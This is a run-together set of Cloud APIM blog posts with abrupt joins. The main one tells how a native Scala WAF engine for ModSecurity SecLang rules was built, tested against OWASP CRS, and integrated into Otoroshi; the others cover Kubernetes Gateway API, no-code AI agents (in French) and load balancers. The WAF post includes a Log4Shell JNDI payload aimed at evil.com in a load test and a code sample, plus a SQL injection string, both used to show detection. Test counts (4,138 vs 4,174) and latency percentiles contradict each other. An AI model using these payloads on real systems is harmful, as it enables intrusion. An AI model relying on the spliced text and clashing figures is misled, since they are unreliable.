CKE gets you a production-ready Kubernetes cluster in minutes. The clever k8s create command, the NodeGroup abstraction for worker pools, the automatic load balancer provisioning — it's fast, clean, and there's very little friction between "I want a cluster" and "I have a cluster". If you're already using Clever Cloud for your other workloads, it fits right into your existing workflow without any surprise.

Otoroshi's Gateway API implementation delivers exactly what you'd expect from it: fast reconciliation (changes propagate in seconds with gatewayApiWatch: true), accurate status updates on GatewayClass, Gateway, and HTTPRoute resources that make debugging straightforward, and full access to Otoroshi's plugin ecosystem through annotations. The entire routing, security, and traffic management surface of Otoroshi — 200+ plugins — is available from standard Kubernetes manifests. That's the implementation working as designed.

The whole stack comes together cleanly: a few kubectl commands, a handful of YAML manifests, and you have a fully functional API gateway integrated with the Kubernetes Gateway API standard. If you're already familiar with Otoroshi — which you might well be if you use Clever Cloud, since it's available as an add-on — the learning curve is essentially zero. You're just expressing what Otoroshi already does, in the standard Kubernetes way.

The era of annotation-heavy Ingress resources and controller-specific lock-in is ending. The Gateway API is the way forward, and with Otoroshi on CKE, the path there is straightforward.

If you have questions, run into issues, or want to share what you build with this stack, reach out to us at Cloud APIM. We're always happy to talk Kubernetes networking, API gateways, and all things Otoroshi.

Resources

• Clever Cloud Kubernetes documentation

• Otoroshi documentation

• Otoroshi features overview

• Otoroshi Kubernetes deployment guide

• Otoroshi Gateway API integration

• Kubernetes Gateway API official documentation

• Gateway API v1.4.0 release

This is the story of how I built a complete SecLang engine in Scala during my Christmas vacation (well you know, after the kids went to bed!), why I did it, and all the technical challenges along the way.

The Problem with WASM-Based WAFs

Before diving into the solution, let me explain why we needed one in the first place.

Our WASM-based Coraza integration had several pain points:

1. Single-threaded execution: WASM is inherently single-threaded. To handle concurrent requests, we had to spin up multiple WASM virtual machines per WAF configuration.

2. Memory footprint: Each WASM instance loads a ~20MB binary. Multiply that by the number of instances needed for multi-tenancy / concurrency, and memory usage adds up fast.

3. Serialization overhead: Every request had to be serialized from JVM objects to WASM-compatible structures, processed, then deserialized back. At scale, this serialization dance became a measurable bottleneck.

4. Configuration duplication: Each WASM instance needed its own copy of the rules. No sharing, no caching, no composition.

In short: WASM solved portability, but exposed scalability limits in our very specific multi-tenant configuration model at Cloud APIM. What we needed was a native JVM implementation: thread-safe, memory-efficient, and designed for multi-tenant environments where configurations can be shared and composed. At that scale, the limiting factor was not WebAssembly itself, but the way execution environments and configurations were coupled.

Understanding the Landscape: ModSecurity, SecLang, and CoreRuleSet

Before I explain how I built the solution, let's make sure we're all on the same page about the ecosystem.

ModSecurity: The Grandfather of WAFs

ModSecurity is the most widely deployed open-source Web Application Firewall. Originally created for Apache in 2002, it later became a standalone library that can be embedded in any web server or proxy.

ModSecurity itself doesn't block attacks—it provides the engine. You feed it rules, and it evaluates incoming requests against those rules.

SecLang: The Rule Language

SecLang (or "SecRule Language") is the domain-specific language used to write ModSecurity rules. It's become a de facto standard—virtually every serious WAF implementation understands SecLang rules.

Here's what a typical SecLang rule looks like:

SecRule REQUEST_HEADERS:User-Agent "@pm firefox chrome safari" \
    "id:1001,\
    phase:1,\
    pass,\
    t:none,t:lowercase,\
    msg:'Browser detected',\
    tag:'browser-detection'"

Let's break this down:

• SecRule: The directive that defines a rule

• REQUEST_HEADERS:User-Agent: The variable to inspect (HTTP User-Agent header)

• @pm firefox chrome safari: The operator (@pm = phrase match, checks if any of the words appear)

• id:1001: Unique rule identifier

• phase:1: When to execute (phase 1 = after headers are received)

• pass: Action to take on match (continue processing)

• t:none,t:lowercase: Transformations to apply before matching

• msg:'...': Log message when rule matches

• tag:'...': Categorization tag

SecLang supports five execution phases:

OWASP CoreRuleSet: The Industry Standard

The OWASP CoreRuleSet (CRS) is a comprehensive set of SecLang rules that protect against common web attacks:

• SQL Injection

• Cross-Site Scripting (XSS)

• Local File Inclusion (LFI)

• Remote Code Execution

• Protocol violations

• And dozens more categories

CRS is battle-tested, regularly updated, and used by major CDNs and WAF vendors worldwide. Any serious SecLang implementation needs to be CRS-compatible.

The current version (CRS 4.x) contains over 600 rules organized into categories like:

REQUEST-911-METHOD-ENFORCEMENT.conf
REQUEST-913-SCANNER-DETECTION.conf
REQUEST-920-PROTOCOL-ENFORCEMENT.conf
REQUEST-930-APPLICATION-ATTACK-LFI.conf
REQUEST-932-APPLICATION-ATTACK-RCE.conf
REQUEST-933-APPLICATION-ATTACK-PHP.conf
REQUEST-941-APPLICATION-ATTACK-XSS.conf
REQUEST-942-APPLICATION-ATTACK-SQLI.conf
REQUEST-949-BLOCKING-EVALUATION.conf
...

To sum it up: ModSecurity is the engine, SecLang is the language, and CRS is the knowledge base.

The Christmas Project Begins

It was late December, and I was looking for a fun side project. I had been pondering the WAF problem for months—maybe years— but always convinced myself it was too complex. The SecLang parser alone seemed like a mountain. I'd already tried some approaches using scala parser combinators, fastparse, even regular expressions, but nothing seemed to work 100% of the time.

Then I stumbled upon seclang_parser—an ANTLR grammar for SecLang, maintained by the CoreRuleSet team. Suddenly, the mountain looked more like a hill.

Here's the high-level architecture I ended up building:

The key insight: compilation happens once, evaluation happens per-request. Let's walk through each component.

Part 1: The Parser

ANTLR to the Rescue

ANTLR (Another Tool for Language Recognition) is a parser generator that reads grammar files and produces parsers in various target languages. Given a .g4 grammar file, ANTLR generates a lexer, parser, and visitor/listener classes.

I took the seclang_parser grammar and generated Java code:

antlr4 -visitor -package com.cloud.apim.seclang.antlr SecLangLexer.g4 SecLangParser.g4

This gave me a solid foundation, but ANTLR only handles the syntax—I still needed to build the AST (Abstract Syntax Tree).

Building the AST Visitor

ANTLR uses the visitor pattern. You extend the generated SecLangParserBaseVisitor class and implement methods for each grammar rule you care about.

class AstBuilderVisitor extends SecLangParserBaseVisitor[Any] {

  override def visitConfiguration(ctx: ConfigurationContext): Configuration = {
    val statements = ctx.statement().asScala.flatMap { stmtCtx =>
      Option(visitStmt(stmtCtx)).collect { case s: Statement => s }
    }.toList
    Configuration(statements)
  }

  override def visitSecRule(ctx: SecRuleContext): SecRule = {
    val variables = visitVariables(ctx.variables())
    val operator = visitOperator(ctx.operator())
    val actions = Option(ctx.actions()).map(visitActions)
    SecRule(None, variables, operator, actions, ctx.getText)
  }

  // ... hundreds more visitor methods
}

The parser entry point is simple:

object AntlrParser {
  def parse(input: String): Either[String, Configuration] = {
    val lexer = new SecLangLexer(CharStreams.fromString(input))
    val tokens = new CommonTokenStream(lexer)
    val parser = new SecLangParser(tokens)

    val errorListener = new CollectingErrorListener()
    parser.removeErrorListeners()
    parser.addErrorListener(errorListener)

    val tree = parser.configuration()

    if (errorListener.hasErrors) {
      Left(errorListener.getErrors.mkString("\n"))
    } else {
      val visitor = new AstBuilderVisitor()
      Right(visitor.visitConfiguration(tree))
    }
  }
}

This was the foundation. With my friend Claude's help, I was able to flesh out all the visitor methods and handle the quirks of SecLang syntax. The parser visitor alone is about 400 lines of Scala (backed by 11k lines of Java generated by ANTLR).

Part 2: The Compiler

Once I had an AST, I needed to transform it into something executable. Over time, it became clear that a SecLang engine is less about request filtering and more about interpreting a security-specific programming language under strict performance constraints. The compiler's job is to:

1. Resolve rule chains: SecLang allows chaining rules with the chain action—if the first rule matches, check the second, and so on.

2. Organize by phase: Group rules by their execution phase for efficient processing.

3. Handle rule removals: Process SecRuleRemoveById, SecRuleRemoveByTag, etc.

4. Index markers: For skipAfter actions, pre-compute marker positions.

5. Pre-compile regexes: Compile regular expressions once, not on every evaluation.

Here's a simplified view of the chain resolution logic:

def compileChains(rules: List[SecRule]): List[RuleChain] = {
  var chains = ListBuffer[RuleChain]()
  val current = ListBuffer[SecRule]()

  for (rule <- rules) {
    current += rule
    if (!rule.isChain) {
      // Chain complete, emit it
      chains += RuleChain(current.toList)
      current.clear()
    }
  }

  chains.toList
}

The compiler outputs a CompiledProgram:

case class CompiledProgram(
  chains: Map[Int, List[RuleChain]],   // phase -> chains
  markers: Map[String, Int],           // marker name -> index
  mode: EngineMode                     // On, Off, or DetectionOnly
)

Part 3: The Runtime Engine

This is where the real work happens. The engine evaluates a CompiledProgram against a RequestContext and returns a disposition (continue or block).

The Core Loop

Here's a simplified view of the core loop logic:

def evaluate(ctx: RequestContext, phases: List[Int]): EngineResult = {
  var state = RuntimeState.initial(program.mode)

  for (phase <- phases if state.shouldContinue) {
    for (chain <- program.chains.getOrElse(phase, Nil)) {
      val result = evaluateChain(chain, ctx, state)
      state = result.state

      result.disposition match {
        case Disposition.Block(status, msg, ruleId) =>
          // Early exit
          return EngineResult(
            Disposition.Block(status, msg, ruleId), 
            state
          )
        case Disposition.Continue =>
          // Keep going
      }
    }
  }

  EngineResult(Disposition.Continue, state)
}

Variables, Transformations, Operators, Actions

The engine implements four key components, all following the same pattern—Scala pattern matching over the AST:

• Variables (30+): Extract data from the request (REQUEST_URI, REQUEST_HEADERS, ARGS, COOKIES, etc.). Support collection access with keys and regex selectors like REQUEST_HEADERS:/^X-Custom-/.

• Transformations (25+): Normalize values before matching (lowercase, urlDecode, base64Decode, htmlEntityDecode, removeWhitespace, etc.). Can be chained: t:lowercase,t:urlDecode.

• Operators (15+): Perform the actual matching (@rx for regex, @pm for phrase match, @contains, @beginsWith, @ipMatch, @detectSQLi, @detectXSS, etc.).

• Actions: Execute on match (block, pass, deny, setvar for TX variables, skip, skipAfter for flow control, etc.).

Here's a taste of how operators are implemented:

def matchOperator(op: Operator, value: String): Boolean = op match {
  case Operator.Rx(pattern) => RegexPool.regex(pattern).findFirstIn(value).isDefined
  case Operator.Pm(phrases) => phrases.exists(p => value.toLowerCase.contains(p.toLowerCase))
  case Operator.Contains(s) => value.contains(s)
  case Operator.IpMatch(ranges) => ranges.exists(_.contains(InetAddress.getByName(value)))
  // ... etc
}

Part 4: The libinjection Challenge

As I was implementing operators, I hit a wall: SecLang includes @detectSQLi and @detectXSS operators that use libinjection, a C library for detecting SQL injection and XSS attacks. There was no Java/Scala port. So I had two options:

• give up

• or port a 4,000-line C security library to Java

Guess which one I chose.

libinjection uses a clever technique: instead of regex patterns, it tokenizes input and generates a "fingerprint" that's matched against known attack patterns. For example, the SQL input 1' OR '1'='1 gets tokenized and folded into [s, &, s] (string, boolean operator, string), then matched against 9,000+ known SQLi fingerprints. XSS detection works similarly using HTML5 tokenization to detect dangerous tags, attributes, and URL schemes.

The port took considerable effort—the original C code is 4,000+ lines with lots of pointer arithmetic. My friend Claude's help was invaluable here, helping me translate idioms and catch edge cases. The result is libinjection-jvm, a zero-dependency Java library with full test suite compatibility.

Part 5: The CoreRuleSet Test Suite

Building the engine was one thing. Proving it worked was another.

The CoreRuleSet project includes a comprehensive test suite with over 4,000 tests in YAML format:

- test_id: 1
  desc: "Test SQL injection detection"
  stages:
    - input:
        method: "GET"
        uri: "/test?id=1' OR '1'='1"
      output:
        log:
          expect_ids: [942100]

I wrote a test runner that:

1. Parses the YAML test definitions

2. Constructs RequestContext objects from the test input

3. Runs the engine against the CRS rules

4. Verifies the expected outcome (blocked or allowed)

The CRS test suite turned out to be as much a specification of behavior as a validation tool.

The first run: 40% pass rate and after a few hours of simple fixes: 60% pass rate.

Then began the debugging marathon. Some failures were engine bugs. Others were test runner bugs. A few were my misunderstanding of SecLang semantics.

Test: 942100-1
Expected: BLOCKED
Got: ALLOWED
Rule: SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|... "@rx (?i)..." ...
Issue: Regex flag handling in negative lookahead

One by one, I fixed issues:

• Regex flags not properly propagated

• TX variable increment semantics

• Chain evaluation short-circuit logic

• Transformation ordering

• Case sensitivity in header matching

• Phase 5 logging-only rules incorrectly blocking

This part was an emotional roller coaster—some patches would fix only a single test while others would fix around 200 at once. But after one week of work: 100% pass rate across 4,138 tests.

{
  "global_stats": {
    "passing_percentage": 100,
    "total_tests": 4174,
    "success_tests": 4174,
    "failure_tests": 0
  },
  "time_stats": {
    "total_time_ms": 25945,
    "avg_time_ms": 6,
    "min_time_ms": 1,
    "max_time_ms": 4242
  }
}

The Apache Problem

Here's something I didn't anticipate: the official CRS test suite was designed to test ModSecurity + CRS running inside Apache, in a Docker container. The test harness sends real HTTP requests to the container and checks the responses.

The problem? Some tests weren't actually testing WAF behavior—they were testing Apache's behavior. For example, Apache rejects certain malformed requests (invalid characters in URIs, malformed HTTP lines) before they even reach ModSecurity. The test expected a block, but the block came from Apache, not from CRS rules.

When running the same tests against a pure SecLang engine with no Apache in front, these tests would fail—not because my engine was wrong, but because the test assumed Apache's preprocessing.

Since my test runner evaluates rules directly (no reverse proxy involved), I had to identify these cases and change the acceptance criteria. Instead of checking that the server responds with a 400 status (which would be Apache's doing), I modified the tests to verify that a specific CRS rule was matched. Same malicious input, but now testing the actual WAF behavior. This work could potentially benefit the upstream CRS project for anyone building alternative SecLang implementations.

Part 6: The Factory Pattern for Multi-Tenancy

At Cloud APIM, we run multi-tenant infrastructure. Multiple customers can share Otoroshi instances (or use their own), each with their own WAF configurations. We needed:

1. Shared base rules: CRS loaded once, shared across all tenants

2. Per-tenant customization: Each tenant can add/remove rules

3. Efficient caching: Compiled programs cached and reused

In practice, multi-tenancy tends to turn configuration into a first-class scalability concern, on par with CPU and memory.

The solution: a factory pattern with presets.

// Define reusable presets
val presets = Map(
  "crs" -> SecLangPreset.fromResources("crs",
    "/coreruleset/crs-setup.conf.example",
    "/coreruleset/rules/*.conf"
  )
)

// Create factory
val factory = SecLang.factory(presets)

// Tenant-specific configuration
val tenantRules = List(
  "@import_preset crs",
  """SecRuleRemoveById 942100""",  // Disable specific rule
  """SecRule REQUEST_URI "@contains /health" "id:10001,phase:1,allow,nolog" """,
  "SecRuleEngine On"
)

// Get compiled engine (cached)
val engine = factory.engine(tenantRules)

The factory:

• Compiles each unique rule configuration once

• Caches CompiledProgram instances with configurable TTL

• Supports rule composition through preset imports

• Thread-safe for concurrent access

Part 7: Otoroshi Integration

The final piece: integrating the engine into Otoroshi as an extension. Otoroshi is an open-source HTTP reverse proxy written in Scala that I created several years ago. One of the main perks of Otoroshi is that it's a very extensible project where you can easily write and use your own plugins and extensions.

The WAF Configuration Entity

With this extension, a new entity becomes available to configure WAF behavior (not an actual WAF instance per se, but you know what I mean). One important aspect here is the ability to toggle body inspection. By design, Otoroshi doesn't load request or response bodies into memory—it streams them. So there's a tradeoff: enabling body inspection makes Otoroshi a bit slower and heavier on RAM, but allows the WAF to detect attacks hidden in payloads.

case class CloudApimWafConfig(
  id: String,
  name: String,
  enabled: Boolean = true,
  block: Boolean = true,              // Block vs. monitor-only
  inspectInputBody: Boolean = true,
  inspectOutputBody: Boolean = true,
  inputBodyLimit: Option[Long] = None,
  outputBodyLimit: Option[Long] = None,
  outputBodyMimetypes: Seq[String] = Seq.empty,
  rules: Seq[String] = Seq.empty
)

Configuration example:

{
  "id": "waf-config_production",
  "name": "Production WAF",
  "enabled": true,
  "block": true,
  "inspect_input_body": true,
  "inspect_output_body": true,
  "input_body_limit": 1048576,
  "output_body_limit": 1048576,
  "output_body_mimetypes": ["text/html", "application/json"],
  "rules": [
    "@import_preset crs",
    "SecRuleRemoveById 942100",
    "SecRuleEngine On"
  ]
}

The Plugin

The plugin hooks into Otoroshi's request/response pipeline:

class CloudApimWaf extends NgRequestTransformer {

  override def transformRequest(ctx: NgTransformerRequestContext): Future[Either[Result, NgPluginHttpRequest]] = {
    val wafConfig = getConfig(ctx)
    val engine = ext.factory.engine(wafConfig.rules.toList)

    val requestCtx = buildRequestContext(ctx.request, ctx.body)
    val result = engine.evaluate(requestCtx, List(1, 2, 5))

    result.disposition match {
      case Disposition.Continue =>
        ctx.otoroshiRequest.rightf

      case Disposition.Block(status, msg, ruleId) if wafConfig.block =>
        emitEvent(result, ctx)
        Results.Status(status)(buildErrorResponse(msg, ruleId)).leftf

      case Disposition.Block(_, _, _) =>
        // Monitor mode - log but don't block
        emitEvent(result, ctx)
        ctx.otoroshiRequest.rightf
    }
  }

  override def transformResponse(ctx: NgTransformerResponseContext): Future[Either[Result, NgPluginHttpResponse]] = {
    // Similar logic for response phases (3, 4, 5)
  }
}

Performance Characteristics

After all optimizations, here's how the native implementation compares to our previous WASM-based solution:

And here are the raw performance numbers:

Compared to our WASM-based setup, the native engine:

• uses ~1000x less memory per configuration,

• removes serialization overhead,

• scales naturally with JVM threads,

• enables true multi-tenancy.

Here is a typical test running on my early 2024 MacBook Pro (M3 Pro), using oha with a legit request at 500 calls/sec over 1 minute:

$ oha -q 500 -c 200 -z 1m http://cawaf.oto.tools:9999 -H 'apk: foo' 

Summary:
  Success rate:    100.00%
  Total:    60004.7775 ms
  Slowest:    26.1541 ms
  Fastest:    2.2883 ms
  Average:    2.9967 ms
  Requests/sec:    500.0102

  Total data:    175.78 KiB
  Size/request:    6 B
  Size/sec:    2.93 KiB

Response time histogram:
   2.288 ms [1]     |
   4.675 ms [28740] |■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
   7.061 ms [961]   |■
   9.448 ms [221]   |
  11.835 ms [41]    |
  14.221 ms [17]    |
  16.608 ms [9]     |
  18.994 ms [2]     |
  21.381 ms [3]     |
  23.768 ms [3]     |
  26.154 ms [1]     |

Response time distribution:
  10.00% in 2.4673 ms
  25.00% in 2.5795 ms
  50.00% in 2.7420 ms
  75.00% in 3.0413 ms
  90.00% in 3.6479 ms
  95.00% in 4.4046 ms
  99.00% in 7.0370 ms
  99.90% in 12.2985 ms
  99.99% in 23.6878 ms


Details (average, fastest, slowest):
  DNS+dialup:    0.2206 ms, 0.1046 ms, 1.5284 ms
  DNS-lookup:    0.0247 ms, 0.0045 ms, 0.4549 ms

Status code distribution:
  [200] 29999 responses

now the same test with a Log4Shell attack request

$ oha -q 500 -c 200 -z 1m http://cawaf.oto.tools:9999 -H 'apk: ${jndi:ldap://evil.com/a}'

Summary:
  Success rate: 100.00%
  Total:  60003.4310 ms
  Slowest:  43.2109 ms
  Fastest:  1.9636 ms
  Average:  9.6649 ms
  Requests/sec: 499.9881

  Total data: 615.21 KiB
  Size/request: 21 B
  Size/sec: 10.25 KiB

Response time histogram:
    1.964 ms [1]     |
    4.508 ms [28517] |■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
    8.213 ms [1303]  |■
   13.338 ms [37]    |
   17.463 ms [73]    |
   21.587 ms [41]    |
   26.712 ms [25]    |
   30.837 ms [0]     |
   34.961 ms [0]     |
   39.086 ms [0]     |
   43.211 ms [2]     |

Response time distribution:
  10.00% in 2.2964 ms
  25.00% in 2.3817 ms
  50.00% in 2.5813 ms
  75.00% in 4.0106 ms
  90.00% in 3.5270 ms
  95.00% in 4.7680 ms
  99.00% in 6.6709 ms
  99.90% in 21.6669 ms
  99.99% in 25.4090 ms


Details (average, fastest, slowest):
  DNS+dialup: 0.9616 ms, 0.0578 ms, 4.4482 ms
  DNS-lookup: 0.0190 ms, 0.0028 ms, 1.4588 ms

Status code distribution:
  [400] 29999 responses

Key optimizations:

1. RegexPool: Pre-compiled patterns cached by string key

2. Early exit: Stop processing on first block disposition

3. Phase-organized rules: Only load rules relevant to current phase

4. Immutable programs: Compiled once, shared safely across threads

5. TrieMap for TX variables: Thread-safe without locking

What's Not Implemented (Yet)

For transparency: not every SecLang feature made the cut. The missing pieces fall into three categories:

1. Legacy cruft: Parity bit transformations (parityEven7bit, etc.) from the modem era. No modern use case.

2. External dependencies: @geoLookup (needs MaxMind DB), @rbl (DNS lookups), SESSION variables (needs session store). These add latency and complexity—better handled by dedicated infrastructure components. Otoroshi has its own GeoIP plugin anyway.

3. Domain-specific validation: @verifyCC, @verifyCPF, @verifySSN for credit cards and tax IDs. Not used by CRS, rarely needed in API security.

The 100% pass rate on CRS's 4,138 tests proves that everything needed for real-world protection is there. And if you do need something custom, the SecLangIntegration trait lets you hook in your own implementations without forking the engine.

Getting Started with seclang-engine

Want to try it yourself? Here's a minimal example showing how to use the library in your Scala project.

First, add the dependency to your build.sbt:

libraryDependencies += "com.cloud-apim" %% "seclang-engine" % "1.5.0"

Then, here's a complete working example:

import com.cloud.apim.seclang.model._
import com.cloud.apim.seclang.scaladsl.SecLang

object WafExample extends App {

  // 1. Define your SecLang rules
  val rules = """
    |SecRule REQUEST_HEADERS:User-Agent "@pm firefox" \
    |    "id:1001,\
    |    phase:1,\
    |    block,\
    |    t:none,t:lowercase,\
    |    msg:'Firefox browser blocked',\
    |    status:403,\
    |    severity:'CRITICAL'"
    |
    |SecRule REQUEST_URI "@contains /admin" \
    |    "id:1002,\
    |    phase:1,\
    |    block,\
    |    t:none,t:lowercase,\
    |    msg:'Admin access denied',\
    |    status:403"
    |
    |SecRuleEngine On
    |""".stripMargin

  // 2. Parse the rules into an AST
  val configuration = SecLang.parse(rules) match {
    case Left(error) => sys.error(s"Parse error: $error")
    case Right(config) => config
  }

  // 3. Compile the AST into an executable program
  val program = SecLang.compile(configuration)

  // 4. Create the engine
  val engine = SecLang.engine(program)

  // 5. Build a request context to evaluate
  val request = RequestContext(
    method = "GET",
    uri = "/api/users",
    headers = Headers(Map(
      "User-Agent" -> List("Mozilla/5.0 Chrome/120.0"),
      "Host" -> List("example.com")
    )),
    query = Map("page" -> List("1"))
  )

  // 6. Evaluate the request against phases 1 and 2
  val result = engine.evaluate(request, phases = List(1, 2))

  // 7. Check the result
  result.disposition match {
    case Disposition.Continue =>
      println("Request allowed")
    case Disposition.Block(status, msg, ruleId) =>
      println(s"Request blocked! Status: $status, Rule: $ruleId, Message: $msg")
  }
}

This example:

• Defines two simple rules: one blocking Firefox browsers and one blocking /admin access

• Parses the rules using ANTLR under the hood

• Compiles them into an optimized program

• Creates an engine instance (thread-safe, can be reused)

• Evaluates a sample request and checks if it should be blocked

For production use with the OWASP CoreRuleSet, you can use the factory pattern with presets:

import com.cloud.apim.seclang.model._
import com.cloud.apim.seclang.scaladsl.{SecLang, SecLangPresets}

// Create a factory with CRS preset
val factory = SecLang.factory(Map("crs" -> SecLangPresets.coreruleset))

// Get an engine with CRS rules + custom exclusions
val engine = factory.engine(List(
  "@import_preset crs",           // Import all CRS rules
  "SecRuleRemoveById 942100",     // Disable a specific rule
  "SecRuleEngine On"
))

// The factory caches compiled programs, so subsequent calls
// with the same rules return the cached engine instantly

// Test with a malicious request (Log4Shell attack)
val maliciousRequest = RequestContext(
  method = "GET",
  uri = "/api/search",
  headers = Headers(Map(
    "User-Agent" -> List("Mozilla/5.0"),
    "Host" -> List("example.com"),
    "X-Api-Key" -> List("${jndi:ldap://evil.com/exploit}")  // Log4Shell payload
  ))
)

val result = engine.evaluate(maliciousRequest, phases = List(1, 2))

result.disposition match {
  case Disposition.Continue =>
    println("Request allowed")
  case Disposition.Block(status, msg, ruleId) =>
    println(s"Attack blocked! Rule $ruleId: $msg")
    // Output: Attack blocked! Rule 944150: Potential Remote Command Execution: Log4j / Log4shell
}

Open Source

All of this work is open source:

• seclang-engine: The core SecLang parser, compiler, and runtime

• seclang-engine-coreruleset: CRS bundle wrapper

• libinjection-jvm: Java port of libinjection

• otoroshi-waf-extension: Otoroshi integration

Since seclang-engine is a standalone library with both Java and Scala APIs, you can easily integrate it into any JVM project—whether it's a Jakarta EE application, Spring Boot, Quarkus, or Play Framework. Just add the dependency and start protecting your endpoints.

Conclusion

What started as a Christmas vacation project turned into a comprehensive WAF implementation. The journey taught me:

1. Don't be intimidated by complexity: That ANTLR grammar turned an "impossible" parser into a weekend project.

2. Test suites are gold: The CRS tests were invaluable for finding edge cases I never would have imagined.

3. AI assistance is real: Claude Code helped me tackle the tedious parts (visitor methods, libinjection port) so I could focus on architecture.

4. Multi-tenancy needs design: Caching and composition aren't afterthoughts—they need to be baked in from the start.

The new WAF is now running in production on Cloud APIM managed Otoroshi instances and on Otoroshi deployments on Clever Cloud. It's faster, more memory-efficient, and far more flexible than our WASM-based solution.

If you're interested in using seclang-engine in your own JVM projects, check out the repositories above. And if you have questions or want to contribute, feel free to open issues or PRs!

Depuis quelques mois, tout le monde parle d’agents IA, à toutes les sauces ! Une sorte de machine à tout faire et une super intelligence interconnectée à tous nos outils du quotidien.

Ces intelligences capables non seulement de comprendre et de répondre, mais aussi d’agir.
Des IA capables de prendre des décisions, d’appeler des outils, d’exécuter des tâches et de collaborer entre elles.

Mais une question se posait encore : Comment les créer, les gouverner et les connecter à nos systèmes réels ?

C’est précisément ce qu’apporte aujourd’hui Otoroshi, la passerelle API open source, avec sa nouvelle interface dédiée aux workflows et aux agents IA.

Une passerelle qui s’ouvre à de nouveaux usages

Jusqu’ici, Otoroshi était déjà reconnu comme un chef d’orchestre des API : un point central qui sécurise, surveille et optimise les échanges entre services.
Mais avec l’arrivée de son extension LLM et de l’interface visuelle de workflows, Otoroshi franchit un cap.

Il ne se contente plus de faire transiter des requêtes.
Il pense, décide, agit et permet à chacun de concevoir ses propres agents IA sans écrire une ligne de code.

Créez vos propres workflows IA

Grâce à la nouvelle interface de conception visuelle, Otoroshi permet désormais de dessiner des workflows intelligents en quelques clics.

Imaginez un canvas sur lequel vous pouvez :

• Relier des blocs logiques : décisions, conditions, boucles, actions.

• Connecter des fonctions avancées :

  • appels à des modèles de langage (LLM),

  • appels HTTP vers vos APIs,

  • outils externes,

  • fonctions internes (calculs, filtres, conversions, etc.).

• Ajouter des capacités multimodales : voix, texte, image, vidéo, etc.

• Et surtout, donner à ces workflows une intelligence adaptative grâce aux agents IA intégrés.

C’est une nouvelle façon de créer : non plus en écrivant du code, mais en composant une logique intelligente, visuellement.

Les agents IA made by Otoroshi LLM

Un agent IA dans Otoroshi, c’est plus qu’un chatbot.
C’est une entité capable de :

• Recevoir une intention (par texte, voix, événement, API).

• Analyser le contexte grâce à sa mémoire et à ses modèles d’intelligence.

• Choisir une action : appeler un service, générer une image, déclencher un scénario.

• Apprendre et s’adapter au fil des interactions.

• Respecter vos règles métiers et vos garde-fous de sécurité.

Et surtout, ces agents peuvent être orchestrés dans un workflow :
plusieurs agents qui collaborent, se transmettent des tâches, se corrigent ou se complètent.

🧩 Vous pouvez littéralement créer un écosystème d’agents IA reliés à vos systèmes d’entreprise.

Une interface pensée pour la créativité et la maîtrise

Otoroshi offre désormais une interface utilisateur complète pour gérer :

• 🔹 Les Workflows IA — conception visuelle, déclencheurs, logique, conditions.

• 🔹 Les Agents IA — personnalité, rôle, mémoire, accès, outils autorisés.

• 🔹 Les Intégrations — appels HTTP, fonctions internes, outils métiers, IA externes.

• 🔹 Les Règles et garde-fous — modération, validation, supervision des actions.

Le tout dans une interface fluide, visuelle, et gouvernée comme une architecture d’entreprise.
Autrement dit : la puissance du no-code avec la rigueur du DevOps.

Ce que cela rend possible

Avec Otoroshi et son extension LLM, tout devient orchestrable.
Voici quelques exemples concrets :

• Un agent support client qui comprend une demande, consulte la base documentaire, crée un ticket et envoie un message vocal de confirmation.

• Un assistant RH qui analyse des candidatures, rédige un résumé et planifie un entretien.

• Un orchestrateur marketing qui génère un texte, une image et une vidéo pour une campagne, tout en respectant la charte de marque.

• Un superviseur IT qui surveille les logs, détecte une anomalie et prévient automatiquement l’équipe.

• Un coach digital qui apprend des interactions passées pour proposer des recommandations toujours plus précises.

Et tout cela, sans code, depuis une interface unifiée et sécurisée.

Une intelligence sous contrôle

Ce qui rend cette évolution unique, c’est que l’intelligence artificielle ne s’échappe pas du cadre.
Elle est orchestrée, auditable et maîtrisée.

Chaque action, chaque décision, chaque interaction est enregistrée et gouvernée via Otoroshi.
Les agents ne font rien “dans le vide” : ils agissent dans les limites que vous définissez.

C’est la différence entre une IA puissante et une IA fiable.

Une révolution dans la manière de concevoir l’intelligence

Otoroshi n’est plus seulement une passerelle entre les systèmes.
C’est désormais un orchestrateur d’intelligences.

Les entreprises peuvent :

• Créer leurs propres agents IA,

• Dessiner leurs workflows intelligents,

• Connecter leurs outils et services existants,

• Et tout piloter depuis une interface visuelle.

C’est une nouvelle façon de concevoir la transformation numérique :
plus intuitive, plus agile, plus intelligente.

✨ En résumé

Otoroshi + Extension LLM, c’est :

🧠 Des agents IA personnalisables, capables d’agir et de raisonner.
🔄 Une interface visuelle pour créer des workflows intelligents sans coder.
🌐 Une intégration fluide avec tous vos outils et services.
🔒 Une gouvernance complète : sécurité, audit, conformité.
🚀 Une plateforme prête pour l’avenir des systèmes autonomes et collaboratifs.

📬 Restez informé
Abonnez-vous à notre blog pour suivre les nouveautés, astuces, et bonnes pratiques autour de nos solutions.

🏢 À propos de Cloud APIM

Cloud APIM est un fournisseur de solutions de gestion d’API de nouvelle génération. Nous aidons les entreprises à exploiter tout le potentiel de leurs APIs grâce à des offres managées, performantes et prêtes à l’emploi.

Nos produits innovants incluent :

• Otoroshi Managed Instances : Instances Otoroshi gérées, configurées et prêtes en quelques secondes

• Serverless avec GitOps : Déploiements scalables sans gestion d'infrastructure

• Authify : Authentification rapide et sécurisée pour vos APIs

Bien qu’ils puissent sembler similaires, leurs rôles sont bien distincts.

Savoir faire la différence entre ces deux composants est essentiel pour construire une infrastructure performante, sécurisée et scalable.

Dans cet article, nous allons :

• Définir ce qu’est un Load Balancer

• Expliquer le rôle d’une API Gateway

• Comparer leurs cas d’usage

• Et enfin, vous guider dans le choix de la bonne solution selon vos besoins

Qu’est-ce qu’un Load Balancer ?

Un Load Balancer (ou répartiteur de charge) est un composant réseau qui distribue automatiquement le trafic entrant entre plusieurs serveurs ou instances d’un même service.

Il agit principalement au niveau de la couche 4 (transport) ou 7 (application) du modèle OSI.

Objectifs principaux :

• Répartition du trafic pour éviter la surcharge d’un seul serveur

• Haute disponibilité et tolérance aux pannes

• Amélioration des performances globales

Exemple d’usage :

Un site web très visité peut utiliser un Load Balancer pour répartir les requêtes HTTP entre plusieurs serveurs web (ex : Nginx, Apache).

Qu’est-ce qu’une API Gateway ?

Une API Gateway est bien plus qu’un répartiteur de trafic.

Elle est conçue pour gérer les appels aux API (interfaces de programmation), en assurant leur sécurité, gouvernance et orchestration.

